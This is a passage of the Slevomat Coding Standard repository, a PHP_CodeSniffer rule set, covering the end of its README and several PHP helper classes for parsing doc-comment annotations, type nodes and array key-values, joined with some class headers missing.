[SlevomatCodingStandard.Namespaces.FullyQualifiedGlobalConstants](doc/namespaces.md#slevomatcodingstandardnamespacesfullyqualifiedglobalconstants-) 🔧 - [SlevomatCodingStandard.Namespaces.FullyQualifiedGlobalFunctions](doc/namespaces.md#slevomatcodingstandardnamespacesfullyqualifiedglobalfunctions-) 🔧 - [SlevomatCodingStandard.Namespaces.MultipleUsesPerLine](doc/namespaces.md#slevomatcodingstandardnamespacesmultipleusesperline) - [SlevomatCodingStandard.Namespaces.NamespaceDeclaration](doc/namespaces.md#slevomatcodingstandardnamespacesnamespacedeclaration-) 🔧 - [SlevomatCodingStandard.Namespaces.NamespaceSpacing](doc/namespaces.md#slevomatcodingstandardnamespacesnamespacespacing-) 🔧 - [SlevomatCodingStandard.Namespaces.ReferenceUsedNamesOnly](doc/namespaces.md#slevomatcodingstandardnamespacesreferenceusednamesonly-) 🔧 - [SlevomatCodingStandard.Namespaces.RequireOneNamespaceInFile](doc/namespaces.md#slevomatcodingstandardnamespacesrequireonenamespaceinfile) - [SlevomatCodingStandard.Namespaces.UnusedUses](doc/namespaces.md#slevomatcodingstandardnamespacesunuseduses-) 🔧 - [SlevomatCodingStandard.Namespaces.UseDoesNotStartWithBackslash](doc/namespaces.md#slevomatcodingstandardnamespacesusedoesnotstartwithbackslash-) 🔧 - [SlevomatCodingStandard.Namespaces.UseFromSameNamespace](doc/namespaces.md#slevomatcodingstandardnamespacesusefromsamenamespace-) 🔧 - [SlevomatCodingStandard.Namespaces.UseOnlyWhitelistedNamespaces](doc/namespaces.md#slevomatcodingstandardnamespacesuseonlywhitelistednamespaces) - [SlevomatCodingStandard.Namespaces.UseSpacing](doc/namespaces.md#slevomatcodingstandardnamespacesusespacing-) 🔧 - [SlevomatCodingStandard.Namespaces.UselessAlias](doc/namespaces.md#slevomatcodingstandardnamespacesuselessalias-) 🔧 - [SlevomatCodingStandard.Numbers.DisallowNumericLiteralSeparator](doc/numbers.md#slevomatcodingstandardnumbersdisallownumericliteralseparator-) 🔧 - [SlevomatCodingStandard.Numbers.RequireNumericLiteralSeparator](doc/numbers.md#slevomatcodingstandardnumbersrequirenumericliteralseparator) - [SlevomatCodingStandard.Operators.DisallowEqualOperators](doc/operators.md#slevomatcodingstandardoperatorsdisallowequaloperators-) 🔧 - [SlevomatCodingStandard.Operators.DisallowIncrementAndDecrementOperators](doc/operators.md#slevomatcodingstandardoperatorsdisallowincrementanddecrementoperators) - [SlevomatCodingStandard.Operators.NegationOperatorSpacing](doc/operators.md#slevomatcodingstandardoperatorsnegationoperatorspacing-) 🔧 - [SlevomatCodingStandard.Operators.RequireCombinedAssignmentOperator](doc/operators.md#slevomatcodingstandardoperatorsrequirecombinedassignmentoperator-) 🔧 - [SlevomatCodingStandard.Operators.RequireOnlyStandaloneIncrementAndDecrementOperators](doc/operators.md#slevomatcodingstandardoperatorsrequireonlystandaloneincrementanddecrementoperators) - [SlevomatCodingStandard.Operators.SpreadOperatorSpacing](doc/operators.md#slevomatcodingstandardoperatorsspreadoperatorspacing-) 🔧 - [SlevomatCodingStandard.PHP.DisallowDirectMagicInvokeCall](doc/php.md#slevomatcodingstandardphpdisallowdirectmagicinvokecall-) 🔧 - [SlevomatCodingStandard.PHP.DisallowReference](doc/php.md#slevomatcodingstandardphpdisallowreference) - [SlevomatCodingStandard.PHP.ForbiddenClasses](doc/php.md#slevomatcodingstandardphpforbiddenclasses-) 🔧 - [SlevomatCodingStandard.PHP.OptimizedFunctionsWithoutUnpacking](doc/php.md#slevomatcodingstandardphpoptimizedfunctionswithoutunpacking) - [SlevomatCodingStandard.PHP.ReferenceSpacing](doc/php.md#slevomatcodingstandardphpreferencespacing-) 🔧 - [SlevomatCodingStandard.PHP.RequireExplicitAssertion](doc/php.md#slevomatcodingstandardphprequireexplicitassertion-) 🔧 - [SlevomatCodingStandard.PHP.RequireNowdoc](doc/php.md#slevomatcodingstandardphprequirenowdoc-) 🔧 - [SlevomatCodingStandard.PHP.ShortList](doc/php.md#slevomatcodingstandardphpshortlist-) 🔧 - [SlevomatCodingStandard.PHP.TypeCast](doc/php.md#slevomatcodingstandardphptypecast-) 🔧 - [SlevomatCodingStandard.PHP.UselessParentheses](doc/php.md#slevomatcodingstandardphpuselessparentheses-) 🔧 - [SlevomatCodingStandard.PHP.UselessSemicolon](doc/php.md#slevomatcodingstandardphpuselesssemicolon-) 🔧 - [SlevomatCodingStandard.Strings.DisallowVariableParsing](doc/strings.md#slevomatcodingstandardstringsdisallowvariableparsing) - [SlevomatCodingStandard.TypeHints.ClassConstantTypeHint](doc/type-hints.md#slevomatcodingstandardtypehintsclassconstanttypehint-) 🔧 - [SlevomatCodingStandard.TypeHints.DeclareStrictTypes](doc/type-hints.md#slevomatcodingstandardtypehintsdeclarestricttypes-) 🔧 - [SlevomatCodingStandard.TypeHints.DisallowArrayTypeHintSyntax](doc/type-hints.md#slevomatcodingstandardtypehintsdisallowarraytypehintsyntax-) 🔧 - [SlevomatCodingStandard.TypeHints.DisallowMixedTypeHint](doc/type-hints.md#slevomatcodingstandardtypehintsdisallowmixedtypehint) - [SlevomatCodingStandard.TypeHints.DNFTypeHintFormat](doc/type-hints.md#slevomatcodingstandardtypehintsdnftypehintformat-) 🔧 - [SlevomatCodingStandard.TypeHints.LongTypeHints](doc/type-hints.md#slevomatcodingstandardtypehintslongtypehints-) 🔧 - [SlevomatCodingStandard.TypeHints.NullTypeHintOnLastPosition](doc/type-hints.md#slevomatcodingstandardtypehintsnulltypehintonlastposition-) 🔧 - [SlevomatCodingStandard.TypeHints.NullableTypeForNullDefaultValue](doc/type-hints.md#slevomatcodingstandardtypehintsnullabletypefornulldefaultvalue-) 🔧🚧 - [SlevomatCodingStandard.TypeHints.ParameterTypeHint](doc/type-hints.md#slevomatcodingstandardtypehintsparametertypehint-) 🔧🚧 - [SlevomatCodingStandard.TypeHints.ParameterTypeHintSpacing](doc/type-hints.md#slevomatcodingstandardtypehintsparametertypehintspacing-) 🔧 - [SlevomatCodingStandard.TypeHints.PropertyTypeHint](doc/type-hints.md#slevomatcodingstandardtypehintspropertytypehint-) 🔧🚧 - [SlevomatCodingStandard.TypeHints.ReturnTypeHint](doc/type-hints.md#slevomatcodingstandardtypehintsreturntypehint-) 🔧🚧 - [SlevomatCodingStandard.TypeHints.ReturnTypeHintSpacing](doc/type-hints.md#slevomatcodingstandardtypehintsreturntypehintspacing-) 🔧 - [SlevomatCodingStandard.TypeHints.UnionTypeHintFormat](doc/type-hints.md#slevomatcodingstandardtypehintsuniontypehintformat-) 🔧 - [SlevomatCodingStandard.TypeHints.UselessConstantTypeHint](doc/type-hints.md#slevomatcodingstandardtypehintsuselessconstanttypehint-) 🔧 - [SlevomatCodingStandard.Variables.DisallowVariableVariable](doc/variables.md#slevomatcodingstandardvariablesdisallowvariablevariable) - [SlevomatCodingStandard.Variables.DisallowSuperGlobalVariable](doc/variables.md#slevomatcodingstandardvariablesdisallowsuperglobalvariable) - [SlevomatCodingStandard.Variables.DuplicateAssignmentToVariable](doc/variables.md#slevomatcodingstandardvariablesduplicateassignmenttovariable) - [SlevomatCodingStandard.Variables.UnusedVariable](doc/variables.md#slevomatcodingstandardvariablesunusedvariable) - [SlevomatCodingStandard.Variables.UselessVariable](doc/variables.md#slevomatcodingstandardvariablesuselessvariable-) 🔧 - [SlevomatCodingStandard.Whitespaces.DuplicateSpaces](doc/whitespaces.md#slevomatcodingstandardwhitespacesduplicatespaces-) 🔧 ## Installation The recommended way to install Slevomat Coding Standard is [through Composer](http://getcomposer.org). ```JSON { "require-dev": { "slevomat/coding-standard": "~8.0" } } ``` It's also recommended to install [php-parallel-lint/php-parallel-lint](https://github.com/php-parallel-lint/PHP-Parallel-Lint) which checks source code for syntax errors. Sniffs count on the processed code to be syntactically valid (no parse errors), otherwise they can behave unexpectedly. It is advised to run `PHP-Parallel-Lint` in your build tool before running `PHP_CodeSniffer` and exiting the build process early if `PHP-Parallel-Lint` fails. ## How to run the sniffs You can choose one of two ways to run only selected sniffs from the standard on your codebase: ### Choose which sniffs to run The recommended way is to write your own ruleset.xml by referencing only the selected sniffs. This is a sample ruleset.xml: ```xml ``` Then run the `phpcs` executable the usual way: ``` vendor/bin/phpcs --standard=ruleset.xml --extensions=php --tab-width=4 -sp src tests ``` ### Exclude sniffs you don't want to run You can also mention Slevomat Coding Standard in your project's `ruleset.xml` and exclude only some sniffs: ```xml ``` However it is not a recommended way to use Slevomat Coding Standard, because your build can break when moving between minor versions of the standard (which can happen if you use `^` or `~` version constraint in `composer.json`). We regularly add new sniffs even in minor versions meaning your code won't most likely comply with new minor versions of the package. ## Fixing errors automatically Sniffs in this standard marked by the 🔧 symbol support [automatic fixing of coding standard violations](https://github.com/PHPCSStandards/PHP_CodeSniffer/wiki/Fixing-Errors-Automatically). To fix your code automatically, run phpcbf instead of phpcs: ``` vendor/bin/phpcbf --standard=ruleset.xml --extensions=php --tab-width=4 -sp src tests ``` Always remember to back up your code before performing automatic fixes and check the results with your own eyes as the automatic fixer can sometimes produce unwanted results. ## Suppressing sniffs locally Selected sniffs in this standard marked by the 🚧 symbol can be suppressed for a specific piece of code using an annotation. Consider the following example: ```php /** * @param int $max */ public function createProgressBar($max = 0): ProgressBar { } ``` The parameter `$max` could have a native `int` scalar typehint. But because the method in the parent class does not have this typehint, so this one cannot have it either. PHP_CodeSniffer shows a following error: ``` ---------------------------------------------------------------------- FOUND 1 ERROR AFFECTING 1 LINE ---------------------------------------------------------------------- 67 | ERROR | [x] Method ErrorsConsoleStyle::createProgressBar() | | does not have native type hint for its parameter $max | | but it should be possible to add it based on @param | | annotation "int". | | (SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint) ``` If we want to suppress this error instead of fixing it, we can take the error code (`SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint`) and use it with a `@phpcsSuppress` annotation like this: ```php /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $max */ public function createProgressBar($max = 0): ProgressBar { } ``` ## Contributing To make this repository work on your machine, clone it and run these two commands in the root directory of the repository: ``` composer install bin/phing ``` After writing some code and editing or adding unit tests, run phing again to check that everything is OK: ``` bin/phing ``` We are always looking forward to your bugreports, feature requests and pull requests. Thank you. ## Code of Conduct This project adheres to a [Contributor Code of Conduct](https://github.com/slevomat/coding-standard/blob/master/CODE_OF_CONDUCT.md). By participating in this project and its community, you are expected to uphold this code. node = $node; $this->startPointer = $startPointer; $this->endPointer = $endPointer; } public function getNode(): PhpDocTagNode { return $this->node; } public function getName(): string { return $this->node->name; } /** * @return T */ public function getValue(): PhpDocTagValueNode { /** @phpstan-ignore-next-line */ return $this->node->value; } public function getStartPointer(): int { return $this->startPointer; } public function getEndPointer(): int { return $this->endPointer; } public function isInvalid(): bool { return $this->node->value instanceof InvalidTagValueNode; } } */ public static function getAnnotations(File $phpcsFile, int $pointer, ?string $name = null): array { $docCommentOpenPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $pointer); if ($docCommentOpenPointer === null) { return []; } return SniffLocalCache::getAndSetIfNotCached( $phpcsFile, sprintf('annotations-%d-%s', $docCommentOpenPointer, $name ?? 'all'), static function () use ($phpcsFile, $docCommentOpenPointer, $name): array { $annotations = []; if ($name !== null) { foreach (self::getAnnotations($phpcsFile, $docCommentOpenPointer) as $annotation) { if ($annotation->getName() === $name) { $annotations[] = $annotation; } } } else { $parsedDocComment = DocCommentHelper::parseDocComment($phpcsFile, $docCommentOpenPointer); if ($parsedDocComment !== null) { foreach ($parsedDocComment->getNode()->getTags() as $node) { $annotationStartPointer = $parsedDocComment->getNodeStartPointer($phpcsFile, $node); $annotations[] = new Annotation( $node, $annotationStartPointer, $parsedDocComment->getNodeEndPointer($phpcsFile, $node, $annotationStartPointer), ); } } } return $annotations; }, ); } /** * @template T * @param class-string $type * @return list */ public static function getAnnotationNodesByType(Node $node, string $type): array { static $visitor; static $traverser; $visitor ??= new class extends AbstractNodeVisitor { /** @var class-string */ private string $type; /** @var list */ private array $nodes = []; /** @var list */ private array $nodesToIgnore = []; /** * @return Node|list|NodeTraverser::*|null */ public function enterNode(Node $node) { if ($this->type === IdentifierTypeNode::class) { if ($node instanceof ArrayShapeItemNode || $node instanceof ObjectShapeItemNode) { $this->nodesToIgnore[] = $node->keyName; } elseif ($node instanceof DoctrineArgument) { $this->nodesToIgnore[] = $node->key; } } if ($node instanceof $this->type && !in_array($node, $this->nodesToIgnore, true)) { $this->nodes[] = $node; } return null; } /** * @param class-string $type */ public function setType(string $type): void { $this->type = $type; } public function clean(): void { $this->nodes = []; $this->nodesToIgnore = []; } /** * @return list */ public function getNodes(): array { return $this->nodes; } }; $traverser ??= new NodeTraverser([$visitor]); $visitor->setType($type); $visitor->clean(); $traverser->traverse([$node]); return $visitor->getNodes(); } public static function fixAnnotation( ParsedDocComment $parsedDocComment, Annotation $annotation, Node $nodeToFix, Node $fixedNode ): string { $originalNode = $annotation->getNode(); $newPhpDocNode = PhpDocParserHelper::cloneNode($parsedDocComment->getNode()); foreach ($newPhpDocNode->getTags() as $node) { if ($node->getAttribute(Attribute::ORIGINAL_NODE) === $originalNode) { self::changeAnnotationNode($node, $nodeToFix, $fixedNode); break; } } return PhpDocParserHelper::getPrinter()->printFormatPreserving( $newPhpDocNode, $parsedDocComment->getNode(), $parsedDocComment->getTokens(), ); } /** * @param list $traversableTypeHints */ public static function isAnnotationUseless( File $phpcsFile, int $functionPointer, ?TypeHint $typeHint, Annotation $annotation, array $traversableTypeHints, bool $enableUnionTypeHint = false, bool $enableIntersectionTypeHint = false, bool $enableStandaloneNullTrueFalseTypeHints = false ): bool { if ($annotation->isInvalid()) { return false; } if ($typeHint === null) { return false; } /** @var ParamTagValueNode|TypelessParamTagValueNode|ReturnTagValueNode|VarTagValueNode $annotationValue */ $annotationValue = $annotation->getValue(); if ($annotationValue->description !== '') { return false; } if ($annotationValue instanceof TypelessParamTagValueNode) { return true; } $annotationType = $annotationValue->type; if ( TypeHintHelper::isTraversableType( TypeHintHelper::getFullyQualifiedTypeHint($phpcsFile, $functionPointer, $typeHint->getTypeHintWithoutNullabilitySymbol()), $traversableTypeHints, ) && !( $annotationType instanceof IdentifierTypeNode && TypeHintHelper::isSimpleIterableTypeHint(strtolower($annotationType->name)) ) ) { return false; } if (AnnotationTypeHelper::containsStaticOrThisType($annotationType)) { return false; } if ( AnnotationTypeHelper::containsJustTwoTypes($annotationType) || ( $enableUnionTypeHint && ( $annotationType instanceof UnionTypeNode || ( $annotationType instanceof IdentifierTypeNode && TypeHintHelper::isUnofficialUnionTypeHint($annotationType->name) ) ) ) || ( $enableIntersectionTypeHint && $annotationType instanceof IntersectionTypeNode ) ) { $annotationTypeHint = AnnotationTypeHelper::print($annotationType); return TypeHintHelper::typeHintEqualsAnnotation( $phpcsFile, $functionPointer, $typeHint->getTypeHint(), $annotationTypeHint, ); } if ($annotationType instanceof ObjectShapeNode) { return false; } if ($annotationType instanceof ConstTypeNode) { return false; } if ($annotationType instanceof GenericTypeNode) { return false; } if ($annotationType instanceof CallableTypeNode) { return false; } if ($annotationType instanceof ConditionalTypeNode) { return false; } if ($annotationType instanceof ConditionalTypeForParameterNode) { return false; } if ($annotationType instanceof IdentifierTypeNode) { if (in_array( strtolower($annotationType->name), ['true', 'false', 'null'], true, )) { return $enableStandaloneNullTrueFalseTypeHints; } if (TypeHintHelper::isSimpleUnofficialTypeHints( strtolower($annotationType->name), ) && !in_array($annotationType->name, ['object', 'mixed'], true) ) { return false; } } $annotationTypeHint = AnnotationTypeHelper::getTypeHintFromOneType($annotationType); return TypeHintHelper::typeHintEqualsAnnotation( $phpcsFile, $functionPointer, $typeHint->getTypeHintWithoutNullabilitySymbol(), $annotationTypeHint, ); } private static function changeAnnotationNode(PhpDocTagNode $tagNode, Node $nodeToChange, Node $changedNode): PhpDocTagNode { static $visitor; static $traverser; $visitor ??= new class extends AbstractNodeVisitor { private Node $nodeToChange; private Node $changedNode; public function enterNode(Node $node): ?Node { if ($node->getAttribute(Attribute::ORIGINAL_NODE) === $this->nodeToChange) { return $this->changedNode; } return null; } public function setNodeToChange(Node $nodeToChange): void { $this->nodeToChange = $nodeToChange; } public function setChangedNode(Node $changedNode): void { $this->changedNode = $changedNode; } }; $traverser ??= new NodeTraverser([$visitor]); $visitor->setNodeToChange($nodeToChange); $visitor->setChangedNode($changedNode); [$changedTagNode] = $traverser->traverse([$tagNode]); return $changedTagNode; } } print($typeNode); } public static function containsStaticOrThisType(TypeNode $typeNode): bool { if ($typeNode instanceof ThisTypeNode) { return true; } if ($typeNode instanceof IdentifierTypeNode) { return strtolower($typeNode->name) === 'static'; } if ( $typeNode instanceof UnionTypeNode || $typeNode instanceof IntersectionTypeNode ) { foreach ($typeNode->types as $innerTypeNode) { if (self::containsStaticOrThisType($innerTypeNode)) { return true; } } } return false; } public static function containsOneType(TypeNode $typeNode): bool { if ($typeNode instanceof IdentifierTypeNode) { return true; } if ($typeNode instanceof ThisTypeNode) { return true; } if ($typeNode instanceof GenericTypeNode) { return true; } if ($typeNode instanceof CallableTypeNode) { return true; } if ($typeNode instanceof ObjectShapeNode) { return true; } if ($typeNode instanceof ArrayShapeNode) { return true; } if ($typeNode instanceof ArrayTypeNode) { return true; } if ($typeNode instanceof ConstTypeNode) { if ($typeNode->constExpr instanceof ConstExprIntegerNode) { return true; } if ($typeNode->constExpr instanceof ConstExprFloatNode) { return true; } if ($typeNode->constExpr instanceof ConstExprStringNode) { return true; } } return false; } public static function containsJustTwoTypes(TypeNode $typeNode): bool { if ($typeNode instanceof NullableTypeNode && self::containsOneType($typeNode->type)) { return true; } if ( !$typeNode instanceof UnionTypeNode && !$typeNode instanceof IntersectionTypeNode ) { return false; } return count($typeNode->types) === 2; } /** * @param list $traversableTypeHints */ public static function containsTraversableType(TypeNode $typeNode, File $phpcsFile, int $pointer, array $traversableTypeHints): bool { if ($typeNode instanceof GenericTypeNode) { return true; } if ($typeNode instanceof ObjectShapeNode) { return false; } if ($typeNode instanceof ArrayShapeNode) { return true; } if ($typeNode instanceof ArrayTypeNode) { return true; } if ($typeNode instanceof IdentifierTypeNode) { $fullyQualifiedType = TypeHintHelper::getFullyQualifiedTypeHint($phpcsFile, $pointer, $typeNode->name); return TypeHintHelper::isTraversableType($fullyQualifiedType, $traversableTypeHints); } if ( $typeNode instanceof UnionTypeNode || $typeNode instanceof IntersectionTypeNode ) { foreach ($typeNode->types as $innerTypeNode) { if (self::containsTraversableType($innerTypeNode, $phpcsFile, $pointer, $traversableTypeHints)) { return true; } } } return ( $typeNode instanceof ConditionalTypeNode || $typeNode instanceof ConditionalTypeForParameterNode ) && ( self::containsTraversableType($typeNode->if, $phpcsFile, $pointer, $traversableTypeHints) || self::containsTraversableType($typeNode->else, $phpcsFile, $pointer, $traversableTypeHints) ); } /** * @param list $traversableTypeHints */ public static function containsItemsSpecificationForTraversable( TypeNode $typeNode, File $phpcsFile, int $pointer, array $traversableTypeHints, bool $inTraversable = false ): bool { if ($typeNode instanceof GenericTypeNode) { foreach ($typeNode->genericTypes as $genericType) { if (!self::containsItemsSpecificationForTraversable($genericType, $phpcsFile, $pointer, $traversableTypeHints, true)) { return false; } } return true; } if ($typeNode instanceof ArrayShapeNode || $typeNode instanceof ObjectShapeNode) { foreach ($typeNode->items as $innerItemNode) { if (!self::containsItemsSpecificationForTraversable( $innerItemNode->valueType, $phpcsFile, $pointer, $traversableTypeHints, true, )) { return false; } } return true; } if ($typeNode instanceof NullableTypeNode) { return self::containsItemsSpecificationForTraversable($typeNode->type, $phpcsFile, $pointer, $traversableTypeHints, true); } if ($typeNode instanceof IdentifierTypeNode) { if (TypeHintHelper::isTypeDefinedInAnnotation($phpcsFile, $pointer, $typeNode->name)) { // We can expect it's better type for traversable return true; } if (!$inTraversable) { return false; } return !TypeHintHelper::isTraversableType( TypeHintHelper::getFullyQualifiedTypeHint($phpcsFile, $pointer, $typeNode->name), $traversableTypeHints, ); } if ($typeNode instanceof ConstTypeNode) { return $inTraversable; } if ($typeNode instanceof CallableTypeNode) { return $inTraversable; } if ($typeNode instanceof ArrayTypeNode) { return self::containsItemsSpecificationForTraversable($typeNode->type, $phpcsFile, $pointer, $traversableTypeHints, true); } if ( $typeNode instanceof UnionTypeNode || $typeNode instanceof IntersectionTypeNode ) { foreach ($typeNode->types as $innerTypeNode) { if ( !$inTraversable && $innerTypeNode instanceof IdentifierTypeNode && strtolower($innerTypeNode->name) === 'null' ) { continue; } if (self::containsItemsSpecificationForTraversable( $innerTypeNode, $phpcsFile, $pointer, $traversableTypeHints, $inTraversable, )) { return true; } } } if ($typeNode instanceof ConditionalTypeNode || $typeNode instanceof ConditionalTypeForParameterNode) { return self::containsItemsSpecificationForTraversable($typeNode->if, $phpcsFile, $pointer, $traversableTypeHints, $inTraversable) || self::containsItemsSpecificationForTraversable( $typeNode->else, $phpcsFile, $pointer, $traversableTypeHints, $inTraversable, ); } return false; } public static function getTypeHintFromOneType( TypeNode $typeNode, bool $enableUnionTypeHint = false, bool $enableStandaloneNullTrueFalseTypeHints = false ): string { if ($typeNode instanceof GenericTypeNode) { $genericName = $typeNode->type->name; if (in_array(strtolower($genericName), ['non-empty-array', 'list', 'non-empty-list'], true)) { return 'array'; } return $genericName; } if ($typeNode instanceof IdentifierTypeNode) { if (strtolower($typeNode->name) === 'true') { return $enableStandaloneNullTrueFalseTypeHints ? 'true' : 'bool'; } if (strtolower($typeNode->name) === 'false') { return $enableUnionTypeHint || $enableStandaloneNullTrueFalseTypeHints ? 'false' : 'bool'; } if (in_array( strtolower($typeNode->name), ['positive-int', 'non-positive-int', 'negative-int', 'non-negative-int', 'literal-int', 'int-mask'], true, )) { return 'int'; } if (in_array( strtolower($typeNode->name), ['callable-array', 'callable-string'], true, )) { return 'callable'; } // See https://psalm.dev/docs/annotating_code/type_syntax/scalar_types/#class-string-interface-string if (preg_match('~-string$~i', $typeNode->name) === 1) { return 'string'; } if (in_array( strtolower($typeNode->name), ['non-empty-array', 'list', 'non-empty-list'], true, )) { return 'array'; } return $typeNode->name; } if ($typeNode instanceof CallableTypeNode) { return $typeNode->identifier->name; } if ($typeNode instanceof ArrayTypeNode) { return 'array'; } if ($typeNode instanceof ArrayShapeNode) { return 'array'; } if ($typeNode instanceof ObjectShapeNode) { return 'object'; } if ($typeNode instanceof ConstTypeNode) { if ($typeNode->constExpr instanceof ConstExprIntegerNode) { return 'int'; } if ($typeNode->constExpr instanceof ConstExprFloatNode) { return 'float'; } if ($typeNode->constExpr instanceof ConstExprStringNode) { return 'string'; } } return (string) $typeNode; } /** * @param UnionTypeNode|IntersectionTypeNode $typeNode * @param list $traversableTypeHints * @return list */ public static function getTraversableTypeHintsFromType( TypeNode $typeNode, File $phpcsFile, int $pointer, array $traversableTypeHints, bool $enableUnionTypeHint = false ): array { $typeHints = []; foreach ($typeNode->types as $type) { if ( $type instanceof GenericTypeNode || $type instanceof ThisTypeNode || $type instanceof IdentifierTypeNode ) { $typeHints[] = self::getTypeHintFromOneType($type); } } if (!$enableUnionTypeHint && count($typeHints) > 1) { return []; } foreach ($typeHints as $typeHint) { if (!TypeHintHelper::isTraversableType( TypeHintHelper::getFullyQualifiedTypeHint($phpcsFile, $pointer, $typeHint), $traversableTypeHints, )) { return []; } } return $typeHints; } /** * @param UnionTypeNode|IntersectionTypeNode $typeNode */ public static function getItemsSpecificationTypeFromType(TypeNode $typeNode): ?TypeNode { foreach ($typeNode->types as $type) { if ($type instanceof ArrayTypeNode) { return $type; } } return null; } } */ public static function parse(File $phpcsFile, int $arrayPointer): array { $tokens = $phpcsFile->getTokens(); $arrayToken = $tokens[$arrayPointer]; [$arrayOpenerPointer, $arrayCloserPointer] = self::openClosePointers($arrayToken); $keyValues = []; $firstPointerOnNextLine = TokenHelper::findFirstTokenOnNextLine($phpcsFile, $arrayOpenerPointer + 1); $firstEffectivePointer = TokenHelper::findNextEffective($phpcsFile, $arrayOpenerPointer + 1); $arrayKeyValueStartPointer = $firstPointerOnNextLine !== null && $firstPointerOnNextLine < $firstEffectivePointer ? $firstPointerOnNextLine : $firstEffectivePointer; $arrayKeyValueEndPointer = $arrayKeyValueStartPointer; $indentation = $tokens[$arrayOpenerPointer]['line'] < $tokens[$firstEffectivePointer]['line'] ? IndentationHelper::getIndentation($phpcsFile, $firstEffectivePointer) : ''; for ($i = $arrayKeyValueStartPointer; $i < $arrayCloserPointer; $i++) { $token = $tokens[$i]; if (in_array($token['code'], TokenHelper::ARRAY_TOKEN_CODES, true)) { $i = self::openClosePointers($token)[1]; continue; } if (array_key_exists('scope_closer', $token) && $token['scope_closer'] > $i) { $i = $token['scope_closer'] - 1; continue; } if (array_key_exists('parenthesis_closer', $token) && $token['parenthesis_closer'] > $i) { $i = $token['parenthesis_closer'] - 1; continue; } $nextEffectivePointer = TokenHelper::findNextEffective($phpcsFile, $i + 1); if ($nextEffectivePointer === $arrayCloserPointer) { $arrayKeyValueEndPointer = self::getValueEndPointer($phpcsFile, $i, $arrayCloserPointer, $indentation); break; } if ($token['code'] !== T_COMMA || !ScopeHelper::isInSameScope($phpcsFile, $arrayOpenerPointer, $i)) { $arrayKeyValueEndPointer = $i; continue; } $arrayKeyValueEndPointer = self::getValueEndPointer($phpcsFile, $i, $arrayCloserPointer, $indentation); $keyValues[] = new ArrayKeyValue($phpcsFile, $arrayKeyValueStartPointer, $arrayKeyValueEndPointer); $arrayKeyValueStartPointer = $arrayKeyValueEndPointer + 1; $i = $arrayKeyValueEndPointer; } $keyValues[] = new ArrayKeyValue($phpcsFile, $arrayKeyValueStartPointer, $arrayKeyValueEndPointer); return $keyValues; } /** * @param list $keyValues */ public static function getIndentation(array $keyValues): ?string { $indents = []; foreach ($keyValues as $keyValue) { $indent = $keyValue->getIndent() ?? 'null'; $indents[$indent] = isset($indents[$indent]) ? $indents[$indent] + 1 : 1; } arsort($indents); $indent = key($indents); return $indent !== 'null' ? (string) $indent : null; } /** * @param list $keyValues */ public static function isKeyed(array $keyValues): bool { foreach ($keyValues as $keyValue) { if ($keyValue->getKey() !== null) { return true; } } return false; } /** * @param list $keyValues */ public static function isKeyedAll(array $keyValues): bool { foreach ($keyValues as $keyValue) { if (!$keyValue->isUnpacking() && $keyValue->getKey() === null) { return false; } } return true; } /** * Test if non-empty array with opening & closing brackets on separate lines */ public static function isMultiLine(File $phpcsFile, int $pointer): bool { $tokens = $phpcsFile->getTokens(); $token = $tokens[$pointer]; [$pointerOpener, $pointerCloser] = self::openClosePointers($token); $tokenOpener = $tokens[$pointerOpener]; $tokenCloser = $tokens[$pointerCloser]; return $tokenOpener['line'] !== $tokenCloser['line']; } /** * Test if effective tokens between open & closing tokens */ public static function isNotEmpty(File $phpcsFile, int $pointer): bool { $tokens = $phpcsFile->getTokens(); $token = $tokens[$pointer]; [$pointerOpener, $pointerCloser] = self::openClosePointers($token); /** @var int $pointerPreviousToClose */ $pointerPreviousToClose = TokenHelper::findPreviousEffective($phpcsFile, $pointerCloser - 1); return $pointerPreviousToClose !== $pointerOpener; } /** * @param list $keyValues */ public static function isSortedByKey(array $keyValues): bool { $previousKey = ''; foreach ($keyValues as $keyValue) { if ($keyValue->isUnpacking()) { continue; } if (strnatcasecmp($previousKey, $keyValue->getKey()) === 1) { return false; } $previousKey = $keyValue->getKey(); } return true; } /** * @param array|int|string> $token * @return array{0: int, 1: int} */ public static function openClosePointers(array $token): array { $isShortArray = $token['code'] === T_OPEN_SHORT_ARRAY; $pointerOpener = $isShortArray ? $token['bracket_opener'] : $token['parenthesis_opener']; $pointerCloser = $isShortArray ? $token['bracket_closer'] : $token['parenthesis_closer']; return [(int) $pointerOpener, (int) $pointerCloser]; } private static function getValueEndPointer(File $phpcsFile, int $endPointer, int $arrayCloserPointer, string $indentation): int { $tokens = $phpcsFile->getTokens(); $nextEffectivePointer = TokenHelper::findNextEffective($phpcsFile, $endPointer + 1, $arrayCloserPointer + 1); if ($tokens[$nextEffectivePointer]['line'] === $tokens[$endPointer]['line']) { return $nextEffectivePointer - 1; } for ($i = $endPointer + 1; $i < $nextEffectivePointer; $i++) { if ($tokens[$i]['line'] === $tokens[$endPointer]['line']) { $endPointer = $i; continue; } $nextNonWhitespacePointer = TokenHelper::findNextNonWhitespace($phpcsFile, $i); if (!in_array($tokens[$nextNonWhitespacePointer]['code'], TokenHelper::INLINE_COMMENT_TOKEN_CODES, true)) { break; } if ($indentation === IndentationHelper::getIndentation($phpcsFile, $nextNonWhitespacePointer)) { $endPointer = $i - 1; break; } $i = TokenHelper::findLastTokenOnLine($phpcsFile, $i); $endPointer = $i; } return $endPointer; } } pointerStart = $pointerStart; $this->pointerEnd = $pointerEnd; $this->addValues($phpcsFile); } public function getContent(File $phpcsFile, bool $normalize = false, ?string $indent = null): string { if ($normalize === false) { return TokenHelper::getContent($phpcsFile, $this->pointerStart, $this->pointerEnd); } $content = ''; $addCommaPtr = $this->pointerComma === null ? TokenHelper::findPreviousEffective($phpcsFile, $this->pointerEnd) : null; $tokens = $phpcsFile->getTokens(); for ($pointer = $this->pointerStart; $pointer <= $this->pointerEnd; $pointer++) { $token = $tokens[$pointer]; $content .= $token['content']; if ($pointer === $addCommaPtr) { $content .= ','; } } // Trim, but keep leading empty lines $content = ltrim($content, " \t"); $content = rtrim($content); if ($indent !== null && strpos($content, $phpcsFile->eolChar) !== 0) { $content = $indent . $content; } return $content; } public function getIndent(): ?string { return $this->indent; } public function getKey(): ?string { return $this->key; } public function getPointerArrow(): ?int { return $this->pointerArrow; } public function getPointerComma(): ?int { return $this->pointerComma; } public function getPointerEnd(): int { return $this->pointerEnd; } public function getPointerStart(): int { return 